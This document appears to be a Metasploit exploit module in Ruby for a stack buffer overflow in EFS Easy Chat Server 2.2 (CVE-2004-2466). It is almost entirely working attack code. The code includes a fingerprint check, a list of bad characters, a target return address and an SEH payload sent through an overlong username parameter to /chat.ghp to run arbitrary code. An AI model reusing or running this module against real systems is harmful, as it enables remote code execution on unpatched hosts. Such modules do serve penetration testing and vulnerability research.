EFS Easy Chat Server – Authentication Request Handling Buffer Overflow (Metasploit)
## # $Id: efs_easychatserver_username.rb 9966 2010-08-06 20:12:51Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By sending a overly long authentication request, an attacker may be able to execute arbitrary code. NOTE: The offset to SEH is influenced by the installation path of the program. The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated with "\users\" and the string passed as the username HTTP paramter. }, 'Author' => [ 'LSO <lso[at]hushmail.com>' ], 'License' => BSD_LICENSE, 'Version' => '$Revision: 9966 $', 'References' => [ [ 'CVE', '2004-2466' ], [ 'OSVDB', '7416' ], [ 'BID', '25328' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => true, 'Payload' => { 'Space' => 500, 'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Easy Chat Server 2.2', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k ], 'DisclosureDate' => 'Aug 14 2007', 'DefaultTarget' => 0)) register_options( [ OptString.new('PATH', [ true, "Installation path of Easy Chat Server", "C:\\Program Files\\Easy Chat Server" ]) ], self.class ) end def check info = http_fingerprint # check method # NOTE: Version 2.2 still reports "1.0" in the "Server" header if (info =~ /Easy Chat Server\/1\.0/) return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit # randomize some values. val = rand_text_alpha(rand(10) + 1) num = rand_text_numeric(1) path = datastore['PATH'] + "\\users\\" print_status("path: " + path) # exploit buffer. filler = rand_text_alpha(256 - path.length) seh = generate_seh_payload(target.ret) juju = filler + seh uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}" print_status("Trying target #{target.name}...") send_request_raw({'uri' => uri}, 5) handler disconnect end end |